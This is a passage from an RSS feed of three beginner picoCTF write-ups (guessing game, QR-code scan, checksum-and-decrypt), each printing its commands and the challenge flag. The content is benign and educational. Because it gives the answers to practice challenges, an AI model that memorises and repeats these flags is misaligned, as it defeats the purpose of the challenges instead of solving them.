&lt;/h3&gt;

&lt;p&gt;Easy&lt;/p&gt;

&lt;h3&gt;
  
  
  Setup
&lt;/h3&gt;

&lt;p&gt;kali linux&lt;/p&gt;

&lt;h3&gt;
  
  
  Solution Overview
&lt;/h3&gt;

&lt;h3&gt;
  
  
  Detailed Steps
&lt;/h3&gt;

&lt;p&gt;1.This Game try to type down guess!&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh &lt;span class="nt"&gt;-p&lt;/span&gt; 54518 ctf-player@atlas.picoctf.net
ctf-player@atlas.picoctf.net&lt;span class="s1"&gt;'s password: 
Welcome to the Binary Search Game!
I'&lt;/span&gt;m thinking of a number between 1 and 1000.
Enter your guess: 500
Lower! Try again.
Enter your guess: 250
Higher! Try again.
Enter your guess: 350
Higher! Try again.
Enter your guess: 450
Lower! Try again.
Enter your guess: 400
Lower! Try again.
Enter your guess: 370
Higher! Try again.
Enter your guess: 390
Higher! Try again.
Enter your guess: 395
Lower! Try again.
Enter your guess: 394
Congratulations! You guessed the correct number: 394
Here&lt;span class="s1"&gt;'s your flag: picoCTF{g00d_gu355_2e90d29b}
Connection to atlas.picoctf.net closed.
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Final Exploit/Flag
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Here&lt;span class="s1"&gt;'s your flag: picoCTF{g00d_gu355_2e90d29b}
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Lessons Learned
&lt;/h3&gt;

&lt;p&gt;General Skills&lt;/p&gt;

&lt;h3&gt;
  
  
  References
&lt;/h3&gt;

</description>
      <category>security</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>[picoctf] Scan Surprise writeup</title>
      <dc:creator>zerogru  Art of Vector</dc:creator>
      <pubDate>Sat, 10 Aug 2024 21:17:30 +0000</pubDate>
      <link>https://dev.to/zerogru/picoctfscan-surprise-2506</link>
      <guid>https://dev.to/zerogru/picoctfscan-surprise-2506</guid>
      <description>&lt;h3&gt;
  
  
  Title:
&lt;/h3&gt;

&lt;p&gt;Scan Surprise&lt;/p&gt;

&lt;h3&gt;
  
  
  Author:
&lt;/h3&gt;

&lt;p&gt;Jeffery John&lt;/p&gt;

&lt;h3&gt;
  
  
  Date:
&lt;/h3&gt;

&lt;p&gt;8/10/2024&lt;/p&gt;

&lt;h3&gt;
  
  
  Challenge Description
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://play.picoctf.org/practice/challenge/444" rel="noopener noreferrer"&gt;https://play.picoctf.org/practice/challenge/444&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Difficulty Level
&lt;/h3&gt;

&lt;p&gt;Easy&lt;/p&gt;

&lt;h3&gt;
  
  
  Setup
&lt;/h3&gt;

&lt;p&gt;kali linux&lt;/p&gt;

&lt;h3&gt;
  
  
  Solution Overview
&lt;/h3&gt;

&lt;h3&gt;
  
  
  Detailed Steps
&lt;/h3&gt;

&lt;p&gt;1.List information about the /home/ctf-player/drop-in FILEs all&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;ls
&lt;/span&gt;flag.png
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;2.zbar tool read png file barcode&lt;br&gt;
zbarimg&lt;/p&gt;

&lt;h3&gt;
  
  
  Final Exploit/Flag
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;zbarimg  home/ctf-player/drop-in/flag.png 
QR-Code:picoCTF&lt;span class="o"&gt;{&lt;/span&gt;p33k_@_b00_0194a007&lt;span class="o"&gt;}&lt;/span&gt;
scanned 1 barcode symbols from 1 images &lt;span class="k"&gt;in &lt;/span&gt;0.02 seconds
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Lessons Learned
&lt;/h3&gt;

&lt;p&gt;Forensics&lt;/p&gt;

&lt;h3&gt;
  
  
  References
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://linux.die.net/man/1/ls" rel="noopener noreferrer"&gt;https://linux.die.net/man/1/ls&lt;/a&gt;&lt;br&gt;
&lt;a href="https://zbar.sourceforge.net/" rel="noopener noreferrer"&gt;https://zbar.sourceforge.net/&lt;/a&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>hacker</category>
      <category>infosec</category>
      <category>linux</category>
    </item>
    <item>
      <title>[picoctf] Verify writeup</title>
      <dc:creator>zerogru  Art of Vector</dc:creator>
      <pubDate>Sat, 10 Aug 2024 20:02:58 +0000</pubDate>
      <link>https://dev.to/zerogru/picoctf-verify-3m4a</link>
      <guid>https://dev.to/zerogru/picoctf-verify-3m4a</guid>
      <description>&lt;h3&gt;
  
  
  Title:
&lt;/h3&gt;

&lt;p&gt;Verify&lt;/p&gt;

&lt;h3&gt;
  
  
  Author:
&lt;/h3&gt;

&lt;p&gt;Jeffery John&lt;/p&gt;

&lt;h3&gt;
  
  
  Date:
&lt;/h3&gt;

&lt;p&gt;8/10/2024&lt;/p&gt;

&lt;h3&gt;
  
  
  Challenge Description
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://play.picoctf.org/practice/challenge/450" rel="noopener noreferrer"&gt;https://play.picoctf.org/practice/challenge/450&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Difficulty Level
&lt;/h3&gt;

&lt;p&gt;Easy&lt;/p&gt;

&lt;h3&gt;
  
  
  Setup
&lt;/h3&gt;

&lt;p&gt;kali linux&lt;/p&gt;

&lt;h3&gt;
  
  
  Solution Overview
&lt;/h3&gt;

&lt;h3&gt;
  
  
  Detailed Steps
&lt;/h3&gt;

&lt;p&gt;1.List information about the /home FILEs all&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-al&lt;/span&gt;
total 28
drwxr-xr-x 3 root root  4096 Mar 11 20:09 &lt;span class="nb"&gt;.&lt;/span&gt;
drwxr-xr-x 3 root root  4096 Aug 10 14:31 ..
&lt;span class="nt"&gt;-rw-r--r--&lt;/span&gt; 1 root root    65 Mar 11 20:09 checksum.txt
&lt;span class="nt"&gt;-rwxr-xr-x&lt;/span&gt; 1 root root   856 Mar 11 20:09 decrypt.sh
drwxr-xr-x 2 root root 12288 Mar 11 20:09 files
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;2.Concatenate FILE(s), or standard input, to standard output.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;checksum.txt                             
3ad37ed6c5ab81d31e4c94ae611e0adf2e9e3e6bee55804ebc7f386283e366a4
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Check SHA256(256-bit) checksums read with file. and also search checksum.txt output character.
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sha256sum &lt;/span&gt;files/&lt;span class="k"&gt;*&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"3ad37ed6c5ab81d31e4c94ae611e0adf2e9e3e6bee55804ebc7f386283e366a4"&lt;/span&gt;
3ad37ed6c5ab81d31e4c94ae611e0adf2e9e3e6bee55804ebc7f386283e366a4  files/e018b574
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;4.run decrypt.sh&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;./decrypt.sh files/e018b574
Error: &lt;span class="s1"&gt;'files/e018b574'&lt;/span&gt; is not a valid file. Look inside the &lt;span class="s1"&gt;'files'&lt;/span&gt; folder with &lt;span class="s1"&gt;'ls -R'&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I got error message&lt;/p&gt;

&lt;p&gt;5.When i found decrypt.sh code i saw that is. openssl cryptofrphy toolkit.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;decrypt.sh  
        &lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;

        &lt;span class="c"&gt;# Check if the user provided a file name as an argument&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nv"&gt;$# &lt;/span&gt;&lt;span class="nt"&gt;-eq&lt;/span&gt; 0 &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
            &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Expected usage: decrypt.sh &amp;lt;filename&amp;gt;"&lt;/span&gt;
            &lt;span class="nb"&gt;exit &lt;/span&gt;1
        &lt;span class="k"&gt;fi&lt;/span&gt;

        &lt;span class="c"&gt;# Store the provided filename in a variable&lt;/span&gt;
        &lt;span class="nv"&gt;file_name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

        &lt;span class="c"&gt;# Check if the provided argument is a file and not a folder&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="nt"&gt;-f&lt;/span&gt; &lt;span class="s2"&gt;"/home/ctf-player/drop-in/&lt;/span&gt;&lt;span class="nv"&gt;$file_name&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
            &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Error: '&lt;/span&gt;&lt;span class="nv"&gt;$file_name&lt;/span&gt;&lt;span class="s2"&gt;' is not a valid file. Look inside the 'files' folder with 'ls -R'!"&lt;/span&gt;
            &lt;span class="nb"&gt;exit &lt;/span&gt;1
        &lt;span class="k"&gt;fi&lt;/span&gt;

        &lt;span class="c"&gt;# If there's an error reading the file, print an error message&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt; openssl enc &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="nt"&gt;-aes-256-cbc&lt;/span&gt; &lt;span class="nt"&gt;-pbkdf2&lt;/span&gt; &lt;span class="nt"&gt;-iter&lt;/span&gt; 100000 &lt;span class="nt"&gt;-salt&lt;/span&gt; &lt;span class="nt"&gt;-in&lt;/span&gt; &lt;span class="s2"&gt;"/home/ctf-player/drop-in/&lt;/span&gt;&lt;span class="nv"&gt;$file_name&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;-k&lt;/span&gt; picoCTF&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
            &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Error: Failed to decrypt '&lt;/span&gt;&lt;span class="nv"&gt;$file_name&lt;/span&gt;&lt;span class="s2"&gt;'. This flag is fake! Keep looking!"&lt;/span&gt;
        &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;6.code said openssl by Encoding with Ciphers.&lt;/p&gt;

&lt;h3&gt;
  
  
  Final Exploit/Flag
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;openssl enc &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="nt"&gt;-aes-256-cbc&lt;/span&gt; &lt;span class="nt"&gt;-pbkdf2&lt;/span&gt; &lt;span class="nt"&gt;-iter&lt;/span&gt; 100000 &lt;span class="nt"&gt;-salt&lt;/span&gt; &lt;span class="nt"&gt;-in&lt;/span&gt; &lt;span class="s2"&gt;"files/e018b574"&lt;/span&gt; &lt;span class="nt"&gt;-k&lt;/span&gt; picoCTF
picoCTF&lt;span class="o"&gt;{&lt;/span&gt;trust_but_verify_e018b574&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Lessons Learned
&lt;/h3&gt;

&lt;p&gt;Forensics&lt;/p&gt;

&lt;h3&gt;
  
  
  References
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://linux.die.net/man/1/ls" rel="noopener noreferrer"&gt;https://linux.die.net/man/1/ls&lt;/a&gt;&lt;br&gt;
&lt;a href="https://linux.die.net/man/1/cat" rel="noopener noreferrer"&gt;https://linux.die.net/man/1/cat&lt;/a&gt;&lt;br&gt;
&lt;a href="https://linux.die.net/man/1/file" rel="noopener noreferrer"&gt;https://linux.die.net/man/1/file&lt;/a&gt;&lt;br&gt;
&lt;a href="https://linux.die.net/man/1/grep" rel="noopener noreferrer"&gt;https://linux.die.net/man/1/grep&lt;/a&gt;&lt;br&gt;
&lt;a href="https://linux.die.net/man/1/sha256sum" rel="noopener noreferrer"&gt;https://linux.die.net/man/1/sha256sum&lt;/a&gt;&lt;br&gt;
&lt;a href="https://linux.die.net/man/1/openssl" rel="noopener noreferrer"&gt;https://linux.die.net/man/1/openssl&lt;/a&gt;&lt;/p&gt;

</description>
    </item>
  </channel>
</rss>
